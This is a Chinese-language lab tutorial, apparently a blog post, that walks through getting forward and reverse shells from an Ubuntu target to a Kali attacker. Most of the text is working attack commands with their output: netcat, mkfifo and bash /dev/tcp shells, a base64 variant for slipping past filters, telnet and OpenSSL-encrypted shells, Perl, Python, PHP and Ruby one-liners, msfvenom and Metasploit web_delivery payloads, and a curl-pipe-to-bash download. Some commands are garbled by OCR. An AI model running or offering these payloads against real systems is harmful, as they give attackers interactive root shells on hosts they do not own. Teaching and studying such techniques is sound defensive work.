1、什么是shell
shell是渗透中常用的名词，如getshell、webshell、反弹shell等等，都和shell相关。 在计算机科学中，shell俗称壳（用来区别于核），是指“为使用者提供操作界面”的 软件（命令解析器）。类似于DOS下的command.com和后来的cmd.exe，用来接收 用户命令，然后调用相应的应用程序。 简单来说用户通过shell访问操作系统内核的服务，也就是由壳到内核，执行系统命 令。 getshell：获取到目标的命令执行权限 webshell：指网站后门，通过web服务进行命令执行 反弹shell：将命令行的输入输出转移到其他主机
2、为什么要反弹shell
1）在webshell下执行命令不交互，为了方便提权或其他操作必须要反弹shell
2）反弹shell相当于新增了一个后门，当webshell被发现删除后权限不会丢失
3、正向shell
正向shell：控制端主动发起连接请求去连接被控制端，中间网络链路不存在阻碍
4、反向shell
反向shell（反弹shell）：被控端主动发起连接请求去连接控制端，通常被控端由于防 火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。
实验复现
掌握在Linux中反弹shell的几种方法，包括NC正向shell与反向shell、bash反弹 shell、Base64编码绕过限制、Telnet反弹和OpenSSL反弹、通过脚本payload反弹 shell等。
实验环境
目标机器：Ubuntu、IP：10.1.1.200
攻击机器：Kali、IP：10.1.1.100
实验步骤一
反弹shell是外网渗透的最后一步，也是内网渗透的第一步，本次实验不针对具体的某 次渗透过程，重点在于针对反弹shell常见下的功能实现。
任务描述：理解Linux中反弹shell的几种方法：NC正向shell与反向shell，没有-e参 数反弹shell，bash反弹shell，Base64编码绕过限制，Telnet反弹和OpenSSL反弹 shell。
NC正向shell
Ubuntu被控端：ncat -lvvp 6666 -e /bin/bash
root@ubu :~ # ncat -lvvp 6666 -e /bin/bash
Ncat: Version 7.01 ( https://nmap.org/ncat )
Ncat: Listening on ::: 6666
Ncat: Listening on 0.0.0.0:6666
Kali控制端：nc 10.1.1.200 6666
root@kali :- /Desktop# nc 10.1.1.200 6666
whoami
root
uname -a
Linux ubu 4.15.0-142-generic #146~16.04.1 Ubuntu SMP Tue Apr 13 09:27:15 UTC 202
4 x86_64 x86_64 x86_64 GNU/Linux
// 原理：被控端使用nc将/bin/sh绑定到本地的6666端口，控制端主动连接被控端的
6666端口，即可获得shell。
NC反向shell
控制端：nc -lvvp 6666
root@kali :~ /Desktop# nc -1vvp 6666
listening on [any] 6666 ...
被控端：ncat -e /bin/bash 10.10.1.100 6666
root@ubu :~ # ncat -e /bin/bash 10.1.1.100 6666
此时主机Kali收到shell了：
root@kali :- /Desktop# nc -1vvp 6666
listening on [any] 6666 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 51394
whoami
root
uname -a
Linux ubu 4.15.0-142-generic #146~16.04.1-Ubuntu SMP Tue Apr 13 09:27:15 UTC 202
4 x86_64 x86_64 x86_64 GNU/Linux
// 原理：被控端使用nc将/bin/sh发送到控制端的6666端口，控制端只需要监听本地的
6666端口，即可获得shell。
没有-e参数反弹shell
控制端：nc -lvvp 6666
root@kali /Desktop# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 54334
root@ubu :~ # whoami
whoami
root
root@ubu :~ # uname
uname
Linux
root@ubu :~ #
被控端：rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.1.1.100 6666 >/tmp/f
root@ubu :~ # rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.1.1.100 6
666 > /tmp/f
Kali接受shell：
root@kali :- /Desktop# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 51408
root@ubu: ~# whoami
whoami
root
root@ubu :~ #
// 原理：mkfifo 命令首先创建了一个管道，cat将管道里面的内容输出传递给/bin/sh，/bin/sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道，由此形成了一个回路。
bash反弹shell
控制端：nc -lvvp 6666
root@kali :~ /Desktop# nc -lvvp 6666
listening on [any] 6666 ...
被控端：bash -i >& /dev/tcp/10.1.1.100/6666 0>&1
root@ubu :~ # bash -i >& /dev/tcp/10.1.1.100/6666 0>&1
Kali接受shell：
root@kali /Desktop# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 54334
root@ubu :~ # whoami
whoami
root
root@ubu :~ # uname
uname
Linux
root@ubu :~ #
// 原理：bash -i代表在本地打开一个bash，/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接。/dev/tcp/ip/port文件代表将标准输出和标准错误输出重定向到这个文件，也就是传递到远程上。如果远程开启了对应的端口去监听，就会接收到这个bash的标准输出和标准错误输出。
控制端：nc -lvvp 6666
root@kali :~ /Desktop# nc -lvvp 6666
listening on [any] 6666 ...
被控端：exec 5<>/dev/tcp/10.1.1.100/6666;cat &5 >&5; done
解释：这一句将文件描述符5重定向到了 /dev/tcp/10.1.1.100/6666 并且方式是读写方式，于是我们就能通过文件描述符对这个socket连接进行操作了
command|while read line do.....done
这个是一个非常经典的句子，它的原句是这样的
while read line
do
...
done < file
从文件中依次读取每一行，将其赋值给 line 变量（当然这里变量可以很多，以空格分隔，这里我就举一个变量的例子，如果是一个变量的话，那么一整行都是它的了），之后再在循环中对line进行操作。
而现在我们不是从file 文件中输入了，我们使用管道符对攻击者机器上输入的命令依次执行，并将标准输出和标准错误输出都重定向到了文件描述符5，也就是攻击机上，实现交互式shell的功能
root@ubu :~ # exec 5<>/dev/tcp/10.1.1.100/6666;cat <&5 | while read line; do $line 2>&5 >
&5; done
Kali接收shell：
root@kali :- /Desktop# nc -1vvp 6666
listening on [any] 6666 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 54336
whoami
root
通过msf生成bash反弹shellpayload：
root@kall :- /Desktop# msfvenom -p cmd/unix/reverse_bash lhost=10.1.1.100 lport=6666 -f raw
[-] No platform was selected, choosing Msf :: Module :: Platform: :Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 64 bytes
0<&187 -; exec 187<>/dev/tcp/10.1.1.100/6666; sh <&187 >&187 2>&187
root@kali :- /Desktop#
然后在攻击机开启监听：nc -lvvp 6666
目标机器执行msfvenom生成的payload：
root@ubu :~ # 0<&187 -; exec 187<>/dev/tcp/10.1.1.100/6666; sh <&187 >&187 2>&187
-bash: redirection error: cannot duplicate fd: Bad file descriptor
-bash: 187: Bad file descriptor
此时kali就接收到目标的shell：
rootekali :- /Desktop# nc -1vvp 6666
listening on [any] 6666 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 51534
whoami
root
ifconfig
Base64编码绕过
由于某些时候我们的字符可能会被转义处理，那么这时候就可以通过编码的方式绕过限制。
首先需要将我们反弹shell的payload进行bash64加密，此处我们通过python进行加密：
python3
import base64
a = bash -i >& /dev/tcp/10.1.1.100/1234 0>&1
b=base64.b64encode(a.encode(‘utf-8’))
print(b)
root@kali :~ /Desktop# python3
Python 3.7.7 (default, Mar 10 2020, 13:18:53)
[GCC 9.2.1 20200306] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> a="bash -i >& /dev/tcp/10.1.1.100/1234 0>&1"
>>> b=base64.b64encode(a.encode('utf-8'))
>>> print(b)
b'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTAwLzEyMzQgMD4mMQ == '
>>>
再将payload组合一下：bash -c "echo base64加密后payload |base64 -d | bash -i"
在kali开启监听：nc -lvvp 1234目标机器执行：
root@ubu :- # bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTAwLzEyMzQgMD4mMQ == | base64 -d|bash -i"
root@ubu :~ # bash -i >& /dev/tcp/10.1.1.100/1234 0>&1
kali接受目标机器shell：
root@kali :- /Desktop# nc -1vvp 1234
listening on [any] 1234 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 50194
root@ubu :~ # whoami
whoami
root
root@ubu :~ #
Telnet反弹shell
攻击机需要开启两个本地监听：
nc -lvvp 5555# 命令传输窗口
nc -lvvp 6666 # 命令结果显示窗口
root@kali :~ /Desktop# nc -lvvp 5555
listening on [any] 5555 ...
root@kali :~ /Desktop# nc -lvvp 6666
listening on [any] 6666 ...
目标机： telnet 10.1.1.100 5555 | /bin/bash |telnet 10.1.1.100 6666
root@ubu :~ # telnet 10.1.1.100 5555 |/bin/bash |telnet 10.1.1.100 6666
Trying 10.1.1.100 ...
Connected to 10.1.1.100.
Escape character is '^]'.
/bin/bash: line 1: Trying: command not found
/bin/bash: line 2: Connected: command not found
/bin/bash: line 3: Escape: command not found
此时kali收到了shell但是执行命令的我们在第一个终端执行的命令会在第二个终端回显
root@kali: /Desktop# nc -lvvp 5555
listening on [any] 5555 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 43498
whoami
root@kali :- /Desktop# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 51548
root
攻击机：
nc -lvvp 6666
目标机：
rm -f a && mknod a p&& telnet 10.1.1.100 6666 0<a | /bin/bash 1>arm -f a;mknod a p;telnet 10.1.1.100 6666 0<a | /bin/bash 1>a
root@ubu :~ # rm -rf a;mknod a p;telnet 10.1.1.100:5555 0<a|/bin/bash 1>a
telnet: could not resolve 10.1.1.100:5555/telnet: Temporary failure in name resolution
root@ubu :~ # rm -rf a;mknod a p;telnet 10.1.1.100 6666 0<a|/bin/bash 1>a
/bin/bash: line 1: Trying: command not found
/bin/bash: line 2: Connected: command not found
/bin/bash: line 3: Escape: command not found
Kali接受shell
root@kali :- /Desktop# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 51550
whoami
root
OpenSSL反弹443端口，流量加密传输
在远程攻击主机上生成秘钥文件
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
root@kall :- /Desktop# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Generating a RSA private key
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
在远程攻击主机上启动监视器
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
oot@kali :~ /Desktop# openssl s_server -quiet -key key.pem -cert cert.pem -port 443
在目标机上反弹shell
mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.1.1.100:443 >/tmp/s;rm /tmp/s
root@ubu :- # mkfifo /tmp/s;/bin/sh -i </tmp/s 2>&1 |openssl s_client -quiet -connect 10.1.1.100:443> /tmp/s;rm /tmp/s
depth=0 C = AU, ST = Some-State, 0 = Internet Widgits Pty Ltd
verify error:num=18:self signed certificate
verify return:1
depth=0 C = AU, ST = Some-State, 0 = Internet Widgits Pty Ltd
verify return:1
Kali接受shell
root@kali :- /Desktop# openssl s_server -quiet -key key.pem -cert cert.pem -port 443
# whoami
root
#
实验步骤二
任务描述：通过脚本payload反弹shell。
Perl反弹
攻击机：nc -lvvp 6666
目标机：perl -e 'use Socket;$i="10.1.1.100";$p=
6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'
原理：将脚本拆成多行
use Socket ## 使用socket函数
$i=”10.1.1.100" ## 定义变量$i
$p=6666 ## 定义变量$p
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) ## 创建一个套接字S# S,PF_INET表示使用ipv4网络协议
# SOCK_STREAM 套接字类型可以根据是面向连接的还是非连接分为SOCK_STREAM或SOCK_DGRAM
# getprotobyname("tcp"))使用的传输协议
if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S")
open(STDOUT,">&S")
open(STDERR,">&S")
exec("/bin/sh -i")
}
## 判断是否能够和10.1.1.100:6666进行通信如果可以启动sh交互模式，标准输入、标准输出、标准错误输出被重定向到了远程
root@ubu :- # perl -e 'use Socket;$i="10.1.1.100";$p=6666; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp"));if(connect(
S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Kali接受shell
root@kali :~ /Desktop# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 51554
# whoami
root
#
攻击机：nc -lvvp 6666
目标机：perl -MIO -e '$p=fork;exit,if($p);
$c=newIO::Socket::INET(PeerAddr,"10.1.1.100:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_while<>;'
root@ubu :- # perl -MIO -e '$p=fork;exit,if($p);$c=new IO: :Socket: : INET(PeerAddr, "10.1.1.100:
6666"); STDIN->fdopen($c,r);$ -- >fdopen($c,w);system$_ while<>;'
Kali接受shell：
root@kali :- /Desktop# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 44696
whoami
root
通过msf生成perl脚本反弹shell：msfvenom -p cmd/unix/reverse_perl lhost=10.1.1.100 lport=6666 -f raw
root@kall :- /Desktop# msfvenom -p cmd/unix/reverse_perl lhost=10.1.1.100 lport=6666 -f raw
[-] No platform was selected, choosing Msf :: Module :: Platform: :Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Pavload size: 229 bytes
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key} =~ /( .* )/){$ENV{$key}=
$1;}}$c=new IO: :Socket: : INET(PeerAddr, "10.1.1.100:6666"); STDIN->fdopen($c,r); $ -- >fdopen($c,w);w
hile(<>){if($ _=~ /( .* )/){system $1;}};'
root@kall: ~/Desktop#
攻击机开启监听 nc -lvvp 6666
目标机执行通过msf生成的payload
root@ubu :~ # perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key} =- /( .* )/)
{$ENV{$key}=$1;}}$c=new IO :: Socket: : INET(PeerAddr "10.1.1.100:6666"); STDIN->fdopen($c,r); $ ~- >fd
open($c,w);while(<>){if($ _=~ /( .* )/){system $1;}};"
Parameterless "use IO" deprecated at -e line 0.
root@ubu :- #
Kali接受shell：
rootekali :- /Desktop# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 44698
whoami
root
Python反弹shell
攻击机：nc -lvvp 6666
目标机：python -c
'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.1.1.100",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
分析下这段脚本的内容：
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.1.100",6666)) 建立socket连接
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); 使用了os模块的dup2函数和socket模块的fileno函数
fileno函数：返回套接字的文件描述符fd，如果从shell中运行一个进程，默认会有3个文件描述符存在(0、１、2), 0与进程的标准输入相关联，１与进程的标准输出相关联，2与进程的标准错误输出相关联。
Dup2函数：dup2传入两个文件描述符，f1和f2（f1是必须存在的），如果f2存在，就关闭f2，然后将f1代表的那个文件强行复制给f2，f2这个文件描述符不会发生变化，但是fd2指向的文件就变成了f1指向的文件。这个函数最大的作用是重定向。
这句的代码的作用就是将fd2指向s.fileno()，而fileno()返回的是建立socket连接返回的文件描述符fd，也就是将将标准输入、标准输出、标准错误输出重定向到远程。
p=subprocess.call(['/bin/bash','-i'])使用subprocess在本地开启子进程，同时传入“i“使得bash以交互模式启动。
经过以上代码的功能整合，在主机A就相当于接收到了主机B的shell。
其他语言的实现也是同样的道理，关键的点都在于建立socket连接以及之后的交互实现：
root@kali :- /Desktop# nc -lvvp 7777
listening on [any] 7777 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 53448
# whoami
root
#
Kali接受shell：
root@kali :~ /Desktop# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 44700
# whoami
root
#
通过web delivery反弹shell
use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set target 0
msf5 exploit(multi/script/web_delivery) > set payload
python/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set lport 8888
msf5 exploit(multi/script/web_delivery) > exploit -j
msf5 exploit(multi/handler) > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set target 0
target => 0
msf5 exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set lport 8888
lport => 8888
msf5 exploit(multi/script/web_delivery) > set lhost 10.1.1.100
lhost => 10.1.1.100
msf5 exploit(multi/script/web_delivery) > exploit -lj
Exploit running as background job 1.
Exploit completed, but no session was created.
Started reverse TCP handler on 10.1.1.100:8888
Using URL: http://0.0.0.0:8080/gw4NMqdNJ
msf5 exploit(multi/script/web_delivery) > [*] Local IP: http://10.1.1.100:8080/gw4NMqdNJ
Server started.
Run the following command on the target machine:
python -c "import sys;import ssl;u =_ import_('urllib'+{2:"',3:'. request'}[sys. version_info[0]]
,fromlist=('urlopen',)); r=u.urlopen('http://10.1.1.100:8080/gw4NMqdNJ', context=ssl ._ create_unv
erified_context());exec(r.read());"
通过msf所生成的payload在目标机器执行：
root@ubu :~ # python -c "import sys;import ssl;u =_ import_('urllib'+{2:'',3: '.request'}[sys.vers
ion_info[0]], fromlist=('urlopen',));r=u.urlopen('http://10.1.1.100:8080/gw4NMqdNJ', context=ssl
._ create_unverified_context());exec(r.read());"
root@ubu :~ #
目标上线meterpreter：
msf5 exploit(multi/script/web_delivery) > exploit -j
Exploit running as background job 1.
[*] Exploit completed, but no session was created.
Started reverse TCP handler on 10.1.1.100:8888
Using URL: http://0.0.0.0:8080/gw4NMqdNJ
msf5 exploit(multi/script/web_delivery) > [*] Local IP: http://10.1.1.100:8080/gw4NMqdNJ
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u =_ import_('urllib'+{2:'',3:'.request'}[sys.version_info[0]]
,fromlist=('urlopen',));r=u.urlopen('http://10.1.1.100:8080/gw4NMqdNJ', context=ssl ._ create_unv
erified_context());exec(r.read());"
web_delivery - Delivering Payload (446 bytes)
Sending stage (53755 bytes) to 10.1.1.200
[*]
[*] Meterpreter session 1 opened (10.1.1.100:8888 -> 10.1.1.200:44014) at 2021-07-01 15:33:05 +
0800
sessions 1
[*] Starting interaction with 1 ...
meterpreter > shell
msfvenom生成Python反弹shell的payload：
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.1.1.100 LPORT=6666 -f raw
root@kall :- /Desktop# msfvenom -p python/meterpreter/reverse_tcp lhost=10.1.1.100 lport=6666 -f raw
[-] No platform was selected, choosing Msf :: Module :: Platform: :Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder or badchars specified, outputting raw payload I
Payload size: 446 bytes
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IH
NvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cg10cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2VOLINPQ0tfU1RSRU
FNKQoJCXMuY29ubmVjdCgoJzEwLjEuMS4xMDAnLDY2NjYpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bn
BhY2soJz5JJyxzLnJ1Y3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxs0goJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQsey
dzJzpzfSkk')))
rootekall :- /Desktop#
handler -p python/meterpreter/reverse_tcp -H 10.1.1.100 -P 6666
msf5 exploit(multi/script/web_delivery) >handler -p python/meterpreter/reverse_tcp -H 10.1.1.100 -P 6666
[*] Payload handler running as background job 2.
[*] Started reverse TCP handler on 10.1.1.100:6666
msf5 exploit(multi/script/web delivery) >
目标执行：
oot@ubu :- # python -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b, 'UTF-8')}[sys.versi
on_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cg10cnk6CgkJcz1zb2NrZXQuc29ja2V0KDI
5c29ja2VOL1NPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjEuMS4xMDAnLDY2NjYpKQoJCWJyZWFrCglleGN1cHQ6CgkJdGltZS5zbGV
lcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJ1Y3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxs0goJZCs9cy5yZWN2KGw
tbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))"
root@ubu :- #
获得meterpreter：
msf5 exploit(multi/script/web_delivery) > handler -p python/meterpreter/reverse_tcp -H 10.1.1.100 -P 6666
[*] Payload handler running as background job 2.
[*] Started reverse TCP handler on 10.1.1.100:6666
msf5 exploit(multi/script/web_delivery) > [*] Sending stage (53755 bytes) to 10.1.1.200
[*] Meterpreter session 3 opened (10.1.1.100:6666 -> 10.1.1.200:44728) at 2021-07-01 15:50:04 +0800
msf5 exploit(multi/script/web_delivery) > sessions 3
[*] Starting interaction with 3 ...
meterpreter > shell
php反弹shell
攻击机：nc -lvvp 7777
目标机：php -r '$sock=fsockopen("10.1.1.100",7777);exec("/bin/sh -i &3 2>&3");'
3代表fsockopen函数建立socket连接后返回的文件描述符，在exec函数中进行重定向，其中的0，1，2分别是前面提到的标准输入、标准输出、标准错误输出。
root@ubu :~ # php -r '$sock=fsockopen("10.1.1.100",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
Kali接受shell：
root@kali :- /Desktop# nc -lvvp 7777
listening on [any] 7777 ...
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 53448
# whoami
root
Ruby反弹shell
msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw
root@kali :- /Desktop# msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw
[-] No platform was selected, choosing Msf :: Module :: Platform :: Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 137 bytes
ruby -rsocket -e 'exit if fork;s=TCPServer.new("6666");while(c=s.accept);while(cmd=c.get
s); I0.popen(cmd, "r"){|io|c.print io.read}end; end'
msfconsole
use exploit/multi/handler
set payload cmd/unix/bind_ruby
set rhost 10.1.1.200
exploit
root@kali: ~/Desktop# msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload cmd/unix/bind_ruby
payload => cmd/unix/bind_ruby
msf5 exploit(multi/handler) > set rhost 10.1.1.200
rhost => 10.1.1.200
msf5 exploit(multi/handler) > set lport 6666
lport => 6666
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/handler) >
[*] Started bind TCP handler against 10.1.1.200:6666
目标执行后获得meterpreter：
root@ubu :~ # ruby -rsocket -e 'exit if fork;s=TCPServer.new("6666");while(c=s.accept);whi
le(cmd=c.gets);I0.popen(cmd,"r"){|io|c.print io.read}end;end'
root@ubu :~ #
msf5 exploit(multi/handler) >
[*] Started bind TCP handler against 10.1.1.200:6666
[*] Command shell session 1 opened (10.1.1.100:39883 -> 10.1.1.200:6666) at 2021-07-02 0
9:10:50 +0800
sessions 1
[*] Starting interaction with 1 ...
whoami
root
Curl反弹shell
在攻击机编辑一个html文件，文件内容为反弹shell的payload：
root@kali :- /Desktop# echo "bash -i >&/dev/tcp/10.1.1.100/6666 0>&1" > index.html
root@kali :~ /Desktop# cat index.html
bash -i >&/dev/tcp/10.1.1.100/6666 0>&1
root@kali:/Desktop#
然后通过python起一个http服务：python3 -m http.server
root@kali :~ /Desktop# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
同时kali开启监听：nc -lvvp 6666
然后在目标执行：curl 10.1.1.100:8000|bash
Kali接受shell：
rootekali :- /Desktop# nc -lvvp 6666
listening on [any] 6666
connect to [10.1.1.100] from host-10-1-1-200.openstacklocal [10.1.1.200] 37586
root@ubu :~ # whoami
whoami
root
root@ubu: ~#
扫一扫
3309
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
